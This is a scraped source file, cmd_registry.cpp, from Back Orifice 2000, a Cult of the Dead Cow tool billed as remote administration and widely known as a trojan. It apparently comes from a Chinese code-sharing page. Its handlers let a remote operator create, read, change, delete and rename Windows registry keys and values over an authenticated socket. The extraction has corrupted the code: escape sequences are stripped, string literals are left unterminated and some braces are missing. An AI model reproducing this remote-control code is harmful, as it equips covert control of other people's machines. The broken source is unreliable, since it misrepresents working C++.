cmd_registry.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:29k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<auth.h>
  17. #include<iohandler.h>
  18. #include<encryption.h>
  19. #include<commandloop.h>
  20. #include<bocomreg.h>
  21. #include<cmdcmd_registry.h>
  22. #include<pviewer.h>
  23. #include<strhandle.h>
  24. #include<osversion.h>
  25. #include<functions.h>
  26. char *GetRootKey(char *svPath, HKEY *pKey)
  27. char *svNext;
  28. if(svPath==NULL) return NULL;
  29. if(strncmp(svPath,"\\",2)==0) svPath+=2;
  30. else if(strncmp(svPath,"\",1)==0) svPath++;
  31. svNext=BreakString(svPath,"\");
  32. if((lstrcmpi(svPath,"HKEY_CLASSES_ROOT")==0) ||
  33. (lstrcmpi(svPath,"HKCR")==0) ) *pKey = HKEY_CLASSES_ROOT;
  34. else if((lstrcmpi(svPath,"HKEY_CURRENT_USER")==0) ||
  35. (lstrcmpi(svPath,"HKCU")==0) ) *pKey = HKEY_CURRENT_USER;
  36. else if((lstrcmpi(svPath,"HKEY_LOCAL_MACHINE")==0) ||
  37. (lstrcmpi(svPath,"HKLM")==0) ) *pKey = HKEY_LOCAL_MACHINE;
  38. else if((lstrcmpi(svPath,"HKEY_USERS")==0) ||
  39. (lstrcmpi(svPath,"HKU")==0) ) *pKey = HKEY_USERS;
  40. else if((lstrcmpi(svPath,"HKEY_CURRENT_CONFIG")==0) ||
  41. (lstrcmpi(svPath,"HKCC")==0) ) *pKey = HKEY_CURRENT_CONFIG;
  42. else if((lstrcmpi(svPath,"HKEY_DYN_DATA")==0) ||
  43. (lstrcmpi(svPath,"HKDD")==0) ) *pKey = HKEY_DYN_DATA;
  44. else {
  45. return NULL;
  46. }
  47. return svNext;
  48. }
  49. int CmdProc_RegCreateKey(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  50. {
  51. char svBuffer[1024];
  52. // Get root key
  53. HKEY key,subkey;
  54. char *svKey,*svNext;
  55. svKey=GetRootKey(svArg2,&key);
  56. if(svKey==NULL) {
  57. IssueAuthCommandReply(cas_from,comid,0,"Could not create key. Invalid root key.n");
  58. return -1;
  59. }
  60. // Create/open key hierarchy
  61. DWORD dwDisp,dwPerm=KEY_READ;
  62. int nCount;
  63. nCount=0;
  64. while(svKey!=NULL) {
  65. svNext=BreakString(svKey,"\");
  66. if(svNext==NULL) dwPerm=KEY_READ|KEY_WRITE;
  67. if(RegCreateKeyEx(key, svKey, 0, "", REG_OPTION_NON_VOLATILE, dwPerm, NULL, &subkey, &dwDisp) != ERROR_SUCCESS) {
  68. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  69. RegCloseKey(key);
  70. wsprintf(svBuffer,"Could not create key. Unable to open subkey: %.256sn", svKey);
  71. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  72. return -1;
  73. }
  74. if(dwDisp==REG_CREATED_NEW_KEY) nCount++;
  75. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  76. RegCloseKey(key);
  77. key = subkey;
  78. svKey = svNext;
  79. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  80. RegCloseKey(key);
  81. // Report number of keys created in the process
  82. if(nCount==1) {
  83. wsprintf(svBuffer, "Created %d key.n", nCount);
  84. } else {
  85. wsprintf(svBuffer, "Created %d keys.n", nCount);
  86. }
  87. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  88. return 0;
  89. }
  90. int CmdProc_RegSetValue(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  91. {
  92. char svBuffer[1024];
  93. // Get root key
  94. char *svKey;
  95. HKEY key;
  96. svKey=GetRootKey(svArg2,&key);
  97. if(svKey==NULL) {
  98. IssueAuthCommandReply(cas_from,comid,0,"Could not set value. Invalid root key.n");
  99. return -1;
  100. }
  101. // Get registry value type/name/data
  102. char *svType, *svName, *svData, *svNext, *pData;
  103. int nDataLen,nOrigLen;
  104. svType=svArg3;
  105. svName=BreakString(svType,"(");
  106. if(svName==NULL) {
  107. IssueAuthCommandReply(cas_from,comid,0,"Could not set value. Invalid value name string.n");
  108. return 1;
  109. }
  110. svData=BreakString(svName,"):");
  111. if(svData==NULL) {
  112. IssueAuthCommandReply(cas_from,comid,0,"Could not set value. Invalid value name string.n");
  113. return 1;
  114. }
  115. CharUpper(svType);
  116. // Process value type and parse data
  117. DWORD dwType;
  118. dwType = REG_NONE;
  119. switch(svType[0]) {
  120. case 'B':
  121. dwType=REG_BINARY;
  122. nDataLen=lstrlen(svData)/3;
  123. pData=(char *) malloc(nDataLen);
  124. CharUpper(svData);
  125. nDataLen=0;
  126. while(svData!=NULL) {
  127. char c;
  128. svNext=BreakString(svData," ");
  129. c=0;
  130. while(*svData) {
  131. c<<=4;
  132. if(*svData>='A' && *svData<='F') c|=*svData-'A'+0xA;
  133. else if(*svData>='0' && *svData<='9') c|=*svData-'0';
  134. svData++;
  135. }
  136. *(pData+nDataLen)=c;
  137. nDataLen++;
  138. svData=svNext;
  139. }
  140. break;
  141. case 'D':
  142. dwType=REG_DWORD;
  143. nDataLen=4;
  144. pData=(char *)malloc(sizeof(DWORD));
  145. CharUpper(svData);
  146. if(strncmp(svData,"0X",2)==0) {
  147. DWORD val;
  148. val=0;
  149. svData+=2;
  150. while(*svData) {
  151. val<<=4;
  152. if(*svData>='A' && *svData<='F') val|=*svData-'A'+0xA;
  153. else if(*svData>='0' && *svData<='9') val|=*svData-'0';
  154. svData++;
  155. }
  156. *(DWORD *)pData=val;
  157. } else {
  158. *(DWORD *)pData=atol(svData);
  159. }
  160. break;
  161. case 'S':
  162. dwType=REG_SZ;
  163. pData=(char *)malloc(lstrlen(svData)+1);
  164. UnescapeString(svData);
  165. lstrcpy(pData,svData);
  166. nDataLen=lstrlen(pData)+1;
  167. break;
  168. case 'M':
  169. if(!g_bIsWinNT) {
  170. IssueAuthCommandReply(cas_from,comid,0,"Could not set value. MULTI_SZ only supported by Windows NT.n");
  171. return -1;
  172. }
  173. dwType=REG_MULTI_SZ;
  174. nOrigLen=lstrlen(svData);
  175. pData=(char *)malloc(nOrigLen+2);
  176. UnescapeString(svData);
  177. nDataLen=0;
  178. while((!(*(pData+nDataLen)=='' && *(pData+nDataLen+1)=='')) && nDataLen<nOrigLen) nDataLen++;
  179. *(pData+nDataLen)='';
  180. *(pData+nDataLen+1)='';
  181. nDataLen++;
  182. break;
  183. case 'E':
  184. dwType=REG_EXPAND_SZ;
  185. pData=(char *)malloc(lstrlen(svData)+1);
  186. UnescapeString(svData);
  187. lstrcpy(pData,svData);
  188. nDataLen=lstrlen(pData)+1;
  189. break;
  190. default:
  191. wsprintf(svBuffer, "Could not set value. Unknown data type '%c'.  Valid types are B,D,S,M,E.n", svType[0]);
  192. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  193. return -1;
  194. }
  195. // Find Key
  196. // Open key hierarchy
  197. HKEY subkey;
  198. DWORD dwPerm=KEY_READ;
  199. while(svKey!=NULL) {
  200. svNext=BreakString(svKey,"\");
  201. if(svNext==NULL) dwPerm=KEY_READ|KEY_WRITE;
  202. if(RegOpenKeyEx(key, svKey, 0, dwPerm, &subkey) != ERROR_SUCCESS) {
  203. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  204. RegCloseKey(key);
  205. wsprintf(svBuffer,"Unable to open subkey: %.256sn", svKey);
  206. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  207. free(pData);
  208. return -1;
  209. }
  210. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  211. RegCloseKey(key);
  212. key = subkey;
  213. svKey = svNext;
  214. // Write value
  215. RegSetValueEx(key,svName, 0, dwType, (BYTE *) pData, nDataLen);
  216. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER)
  217. RegCloseKey(key);
  218. IssueAuthCommandReply(cas_from,comid,0,"Value set.n");
  219. free(pData);
  220. return 0;
  221. }
  222. int CmdProc_RegGetValue(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  223. {
  224. char svBuffer[1024];
  225. // Get root key
  226. char *svKey,*svNext;
  227. HKEY key;
  228. svKey=GetRootKey(svArg2,&key);
  229. if(svKey==NULL) {
  230. IssueAuthCommandReply(cas_from,comid,0,"Could not open key. Invalid root key.n");
  231. return -1;
  232. }
  233. // Open key hierarchy
  234. HKEY subkey;
  235. DWORD dwPerm=KEY_READ;
  236. while(svKey!=NULL) {
  237. svNext=BreakString(svKey,"\");
  238. if(svNext==NULL) dwPerm=KEY_WRITE | KEY_READ;
  239. if(RegOpenKeyEx(key, svKey, 0, dwPerm, &subkey) != ERROR_SUCCESS) {
  240. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  241. RegCloseKey(key);
  242. wsprintf(svBuffer,"Could not open key. Unable to open subkey: %.256sn", svKey);
  243. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  244. return -1;
  245. }
  246. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  247. RegCloseKey(key);
  248. key = subkey;
  249. svKey = svNext;
  250. BYTE *pData;
  251. DWORD dwType,dwLen;
  252. RegQueryValueEx(key,svArg3,NULL,&dwType,NULL,&dwLen);
  253. if(dwLen>=8192) {
  254. RegCloseKey(key);
  255. IssueAuthCommandReply(cas_from,comid,0,"Could not get value. Value too long.n");
  256. return -1;
  257. }
  258. pData=(BYTE *)malloc(dwLen);
  259. RegQueryValueEx(key,svArg3,NULL,&dwType,pData,&dwLen);
  260. wsprintf(svBuffer,"Value: %lu bytes.n",dwLen);
  261. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  262. // Process value type and parse data
  263. char svStr[260],*svPtr,*svMem,*sv;
  264. DWORD dw,dwCount;
  265. switch(dwType) {
  266. case REG_BINARY:
  267. dw=0;
  268. while(dw<dwLen) {
  269. svStr[0]='';
  270. dwCount=min(dwLen-dw,16);
  271. while(dwCount>0) {
  272. char svByte[3];
  273. if(dwCount==1) {
  274. wsprintf(svByte,"%2.2Xn",*(pData+dw));
  275. lstrcat(svStr,svByte);
  276. } else {
  277. wsprintf(svByte,"%2.2X ",*(pData+dw));
  278. lstrcat(svStr,svByte);
  279. }
  280. dw++;
  281. dwCount--;
  282. }
  283. IssueAuthCommandReply(cas_from,comid,1,svStr);
  284. }
  285. break;
  286. case REG_DWORD:
  287. wsprintf(svStr,"%lun",*(DWORD *)pData);
  288. IssueAuthCommandReply(cas_from,comid,1,svStr);
  289. break;
  290. case REG_EXPAND_SZ:
  291. case REG_SZ:
  292. svPtr=EscapeString((char *)pData);
  293. svMem=(char *)malloc(lstrlen(svPtr)+2);
  294. lstrcpy(svMem,svPtr);
  295. free(svPtr);
  296. lstrcat(svMem,"n");
  297. IssueAuthCommandReply(cas_from,comid,1,svMem);
  298. free(svMem);
  299. break;
  300. case REG_MULTI_SZ:
  301. sv=(char *)pData;
  302. while(sv[0]!='') {
  303. svPtr=EscapeString(sv);
  304. svMem=(char *)malloc(lstrlen(svPtr)+2);
  305. lstrcpy(svMem,svPtr);
  306. free(svPtr);
  307. lstrcat(svMem,"n");
  308. IssueAuthCommandReply(cas_from,comid,1,svMem);
  309. free(svMem);
  310. while(sv[0]!='') sv++;
  311. sv++;
  312. }
  313. break;
  314. default:
  315. RegCloseKey(key);
  316. free(pData);
  317. IssueAuthCommandReply(cas_from,comid,0,"Could not get value. Unknown type.");
  318. }
  319. IssueAuthCommandReply(cas_from,comid,0,"Value retrieved.n");
  320. free(pData);
  321. return 0;
  322. }
  323. int RegDeleteKeyRecurse(HKEY hKey, LPCTSTR lpSubKey, char *svKeyBuf)
  324. {
  325. int nCount;
  326. char svSubKeyBuf[MAX_PATH+1];
  327. HKEY hSubKey;
  328. if(RegOpenKeyEx(hKey,lpSubKey,0,KEY_ALL_ACCESS,&hSubKey)!=ERROR_SUCCESS) {
  329. return -1;
  330. }
  331. nCount=0;
  332. while(RegEnumKey(hSubKey,nCount,svKeyBuf,MAX_PATH)!=ERROR_NO_MORE_ITEMS) {
  333. if(RegDeleteKeyRecurse(hSubKey,svKeyBuf,svSubKeyBuf)==-1) {
  334. RegCloseKey(hSubKey);
  335. return -1;
  336. }
  337. nCount++;
  338. }
  339. RegCloseKey(hSubKey);
  340. RegDeleteKey(hKey,lpSubKey);
  341. return 0;
  342. }
  343. int CmdProc_RegDeleteKey(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  344. {
  345. char svBuffer[1024];
  346. char svSubKeyBuf[MAX_PATH+1];
  347. // Get root key
  348. char *svKey,*svNext;
  349. HKEY key;
  350. svKey=GetRootKey(svArg2,&key);
  351. if(svKey==NULL) {
  352. IssueAuthCommandReply(cas_from,comid,0,"Could not delete key. Invalid root key.n");
  353. return -1;
  354. }
  355. // Remove trailing backslash
  356. if(lstrlen(svKey)>1) {
  357. if(svKey[lstrlen(svKey)-1]=='\') {
  358. svKey[lstrlen(svKey)-1]='';
  359. }
  360. }
  361. // Open key hierarchy
  362. HKEY subkey;
  363. DWORD dwPerm=KEY_READ;
  364. while(svKey!=NULL) {
  365. svNext=BreakString(svKey,"\");
  366. if(svNext==NULL) break;
  367. if(RegOpenKeyEx(key, svKey, 0, dwPerm, &subkey) != ERROR_SUCCESS) {
  368. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  369. RegCloseKey(key);
  370. wsprintf(svBuffer,"Could not delete key. Unable to open subkey: %.256sn", svKey);
  371. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  372. return -1;
  373. }
  374. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  375. RegCloseKey(key);
  376. key = subkey;
  377. svKey = svNext;
  378. // Recursively delete key (win95 does this automatically, NT does not);
  379. if(RegDeleteKeyRecurse(key,svKey,svSubKeyBuf)==-1) {
  380. IssueAuthCommandReply(cas_from,comid,0,"Could not delete key.n");
  381. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  382. RegCloseKey(key);
  383. return -1;
  384. }
  385. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  386. RegCloseKey(key);
  387. IssueAuthCommandReply(cas_from,comid,0,"Key deleted.n");
  388. return 0;
  389. }
  390. int CmdProc_RegDeleteValue(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  391. {
  392. char svBuffer[1024];
  393. // Get root key
  394. char *svKey,*svNext;
  395. HKEY key;
  396. svKey=GetRootKey(svArg2,&key);
  397. if(svKey==NULL) {
  398. IssueAuthCommandReply(cas_from,comid,0,"Could not delete value. Invalid root key.n");
  399. return -1;
  400. }
  401. // Remove trailing backslash
  402. if(lstrlen(svKey)>1) {
  403. if(svKey[lstrlen(svKey)-1]=='\') {
  404. svKey[lstrlen(svKey)-1]='';
  405. }
  406. }
  407. // Open key hierarchy
  408. HKEY subkey;
  409. DWORD dwPerm=KEY_READ;
  410. while(svKey!=NULL) {
  411. svNext=BreakString(svKey,"\");
  412. if(svNext==NULL) dwPerm=KEY_READ|KEY_WRITE;
  413. if(RegOpenKeyEx(key, svKey, 0, dwPerm, &subkey) != ERROR_SUCCESS) {
  414. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  415. RegCloseKey(key);
  416. wsprintf(svBuffer,"Could not delete value. Unable to open subkey: %.256sn", svKey);
  417. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  418. return 1;
  419. }
  420. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  421. RegCloseKey(key);
  422. key = subkey;
  423. svKey = svNext;
  424. // Delete value
  425. if(RegDeleteValue(key,svArg3) != ERROR_SUCCESS) {
  426. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  427. RegCloseKey(key);
  428. IssueAuthCommandReply(cas_from,comid,0,"Could not delete valuen");
  429. return 1;
  430. }
  431. // Clean up
  432. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  433. RegCloseKey(key);
  434. IssueAuthCommandReply(cas_from,comid,0,"Value deleted.n");
  435. return 0;
  436. }
  437. int RegCopyKeyRecurse(HKEY key, HKEY newkey)
  438. {
  439. // Get value length information
  440. char *svSubKeyName=NULL, *svClassName=NULL, *svValueName=NULL;
  441. BYTE *pValueData=NULL;
  442. DWORD cbMaxSubKeyLen, cbMaxClassLen, cbMaxValueNameLen, cbMaxValueDataLen;
  443. DWORD cbSubKeyLen, cbClassLen, cbValueNameLen, cbValueDataLen;
  444. if(RegQueryInfoKey(key,NULL,NULL,NULL,NULL,&cbMaxSubKeyLen,&cbMaxClassLen,NULL,&cbMaxValueNameLen,&cbMaxValueDataLen,NULL,NULL)!=ERROR_SUCCESS) {
  445. return -1;
  446. }
  447. cbMaxValueNameLen++;
  448. cbMaxClassLen++;
  449. cbMaxSubKeyLen++;
  450. svSubKeyName = (char *) malloc(cbMaxSubKeyLen);
  451. svClassName  = (char *) malloc(cbMaxClassLen);
  452. svValueName  = (char *) malloc(cbMaxValueNameLen);
  453. pValueData  = (BYTE *) malloc(cbMaxValueDataLen);
  454. // Copy all values
  455. int count=0;
  456. DWORD dwType;
  457. cbValueNameLen=cbMaxValueNameLen;
  458. cbValueDataLen=cbMaxValueDataLen;
  459. while(RegEnumValue(key,count,svValueName,&cbValueNameLen,NULL,&dwType,pValueData,&cbValueDataLen)!=ERROR_NO_MORE_ITEMS) {
  460. if(RegSetValueEx(newkey,svValueName,0,dwType,pValueData,cbValueDataLen)!=ERROR_SUCCESS) {
  461. free(svClassName);
  462. free(svSubKeyName);
  463. free(svValueName);
  464. free(pValueData);
  465. return -1;
  466. }
  467. cbValueNameLen=cbMaxValueNameLen;
  468. cbValueDataLen=cbMaxValueDataLen;
  469. count++;
  470. }
  471. free(svValueName);
  472. free(pValueData);
  473. // Now go through keys and copy them too, along with security descriptors
  474. count=0;
  475. cbSubKeyLen=cbMaxSubKeyLen;
  476. cbClassLen=cbMaxClassLen;
  477. while(RegEnumKeyEx(key,count,svSubKeyName,&cbSubKeyLen,NULL,svClassName,&cbClassLen,NULL)!=ERROR_NO_MORE_ITEMS) {
  478. HKEY subkey;
  479. if(RegOpenKeyEx(key,svSubKeyName,0,KEY_ALL_ACCESS|ACCESS_SYSTEM_SECURITY,&subkey)!=ERROR_SUCCESS) {
  480. free(svClassName);
  481. free(svSubKeyName);
  482. return -1;
  483. }
  484. // Create new key name
  485. DWORD cbSecDesc=0;
  486. SECURITY_DESCRIPTOR *psd=NULL;
  487. if(g_bIsWinNT) {
  488. psd=(SECURITY_DESCRIPTOR *)malloc(cbSecDesc);
  489. pRegGetKeySecurity(subkey,0xF,psd,&cbSecDesc);
  490. } else cbSecDesc=0;
  491. SECURITY_ATTRIBUTES sa;
  492. sa.nLength=sizeof(SECURITY_ATTRIBUTES);
  493. sa.lpSecurityDescriptor=psd;
  494. sa.bInheritHandle=FALSE;
  495. HKEY newsubkey;
  496. if(RegCreateKeyEx(newkey,svSubKeyName,0,svClassName,0,KEY_ALL_ACCESS|ACCESS_SYSTEM_SECURITY,&sa,&newsubkey,NULL)!=ERROR_SUCCESS) {
  497. if(psd) free(psd);
  498. RegCloseKey(subkey);
  499. free(svSubKeyName);
  500. free(svClassName);
  501. return -1;
  502. }
  503. if(psd) free(psd);
  504. // Recurse into this new key
  505. if(RegCopyKeyRecurse(subkey,newsubkey)==-1) {
  506. RegCloseKey(newsubkey);
  507. RegCloseKey(subkey);
  508. free(svSubKeyName);
  509. free(svClassName);
  510. return -1;
  511. }
  512. RegCloseKey(newsubkey);
  513. RegCloseKey(subkey);
  514. cbSubKeyLen=cbMaxSubKeyLen;
  515. cbClassLen=cbMaxClassLen;
  516. count++;
  517. }
  518. free(svSubKeyName);
  519. free(svClassName);
  520. return 0;
  521. }
  522. int CmdProc_RegRenameKey(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  523. {
  524. char svBuffer[1024];
  525. // Get root key
  526. char *svKey,*svNext;
  527. HKEY key;
  528. svKey=GetRootKey(svArg2,&key);
  529. if(svKey==NULL) {
  530. IssueAuthCommandReply(cas_from,comid,0,"Could not open key. Invalid root key.n");
  531. return -1;
  532. }
  533. // Remove trailing backslash
  534. if(lstrlen(svKey)>1) {
  535. if(svKey[lstrlen(svKey)-1]=='\') {
  536. svKey[lstrlen(svKey)-1]='';
  537. }
  538. }
  539. // Open key hierarchy
  540. HKEY subkey,hkParent=NULL;
  541. char *svLastKeyName=NULL;
  542. while(svKey!=NULL) {
  543. svNext=BreakString(svKey,"\");
  544. if(RegOpenKeyEx(key, svKey, 0, KEY_READ|ACCESS_SYSTEM_SECURITY, &subkey) != ERROR_SUCCESS) {
  545. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  546. RegCloseKey(key);
  547. wsprintf(svBuffer,"Could not open key. Unable to open subkey: %.256sn", svKey);
  548. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  549. return -1;
  550. }
  551. if(svNext!=NULL) {
  552. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  553. RegCloseKey(key);
  554. } else {
  555. hkParent=key;
  556. svLastKeyName=svKey;
  557. }
  558. key = subkey;
  559. svKey = svNext;
  560. // Don't rename if keys are the same
  561. if(lstrcmpi(svLastKeyName,svArg3)==0) {
  562. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  563. RegCloseKey(key);
  564. wsprintf(svBuffer,"Could not rename key. Keys have the same name.n");
  565. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  566. return -1;
  567. }
  568. // Create new key name
  569. DWORD cbClass=0,cbSecDesc=0;
  570. SECURITY_DESCRIPTOR *psd=NULL;
  571. char *svClass=NULL;
  572. RegQueryInfoKey(key,NULL,&cbClass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,&cbSecDesc,NULL);
  573. if(cbClass>0) {
  574. svClass=(char *)malloc(cbClass);
  575. RegQueryInfoKey(key,svClass,&cbClass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);
  576. }
  577. if(g_bIsWinNT) {
  578. psd=(SECURITY_DESCRIPTOR *)malloc(cbSecDesc);
  579. pRegGetKeySecurity(key,0xF,psd,&cbSecDesc);
  580. } else cbSecDesc=0;
  581. SECURITY_ATTRIBUTES sa;
  582. sa.nLength=sizeof(SECURITY_ATTRIBUTES);
  583. sa.lpSecurityDescriptor=psd;
  584. sa.bInheritHandle=FALSE;
  585. HKEY newkey;
  586. if(RegCreateKeyEx(hkParent,svArg3,0,svClass,0,KEY_ALL_ACCESS|ACCESS_SYSTEM_SECURITY,&sa,&newkey,NULL)!=ERROR_SUCCESS) {
  587. if(svClass) free(svClass);
  588. if(psd) free(psd);
  589. RegCloseKey(hkParent);
  590. RegCloseKey(key);
  591. wsprintf(svBuffer,"Could not create key.n");
  592. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  593. return -1;
  594. }
  595. if(svClass) free(svClass);
  596. if(psd) free(psd);
  597. // Copy this key recursively
  598. if(RegCopyKeyRecurse(key, newkey)==-1) {
  599. RegCloseKey(newkey);
  600. RegCloseKey(hkParent);
  601. RegCloseKey(key);
  602. wsprintf(svBuffer,"Could not copy key recursively.n");
  603. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  604. return -1;
  605. }
  606. // Delete original key
  607. char svSubKeyBuf[MAX_PATH+1];
  608. if(RegDeleteKeyRecurse(hkParent,svLastKeyName,svSubKeyBuf)==-1) {
  609. RegCloseKey(newkey);
  610. RegCloseKey(hkParent);
  611. RegCloseKey(key);
  612. wsprintf(svBuffer,"Could not delete original key.n");
  613. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  614. }
  615. RegCloseKey(newkey);
  616. RegCloseKey(key);
  617. RegCloseKey(hkParent);
  618. wsprintf(svBuffer,"Key renamed.n");
  619. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  620. return 0;
  621. }
  622. int CmdProc_RegRenameValue(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  623. {
  624. char svBuffer[1024];
  625. char *svValueName;
  626. svValueName=BreakString(svArg2,"\\");
  627. if(svValueName==NULL) {
  628. IssueAuthCommandReply(cas_from,comid,0,"Could not rename value. Syntax error.n");
  629. return -1;
  630. }
  631. // Don't rename if values are the same name
  632. if(lstrcmpi(svValueName,svArg3)==0) {
  633. wsprintf(svBuffer,"Could not rename value. Values have the same name.n");
  634. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  635. return -1;
  636. }
  637. // Get root key
  638. char *svKey,*svNext;
  639. HKEY key;
  640. svKey=GetRootKey(svArg2,&key);
  641. if(svKey==NULL) {
  642. IssueAuthCommandReply(cas_from,comid,0,"Could not open key. Invalid root key.n");
  643. return -1;
  644. }
  645. // Open key hierarchy
  646. HKEY subkey;
  647. DWORD dwPerm=KEY_READ;
  648. while(svKey!=NULL) {
  649. svNext=BreakString(svKey,"\");
  650. if(svNext==NULL) dwPerm=KEY_READ|KEY_WRITE;
  651. if(RegOpenKeyEx(key, svKey, 0, dwPerm, &subkey) != ERROR_SUCCESS) {
  652. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  653. RegCloseKey(key);
  654. wsprintf(svBuffer,"Could not open key. Unable to open subkey: %.256sn", svKey);
  655. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  656. return -1;
  657. }
  658. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  659. RegCloseKey(key);
  660. key = subkey;
  661. svKey = svNext;
  662. // Query value
  663. DWORD dwType,cbData;
  664. BYTE *pData=NULL;
  665. RegQueryValueEx(key,svValueName,NULL,&dwType,NULL,&cbData);
  666. pData=(BYTE *)malloc(cbData);
  667. if(RegQueryValueEx(key,svValueName,NULL,NULL,pData,&cbData)!=ERROR_SUCCESS) {
  668. free(pData);
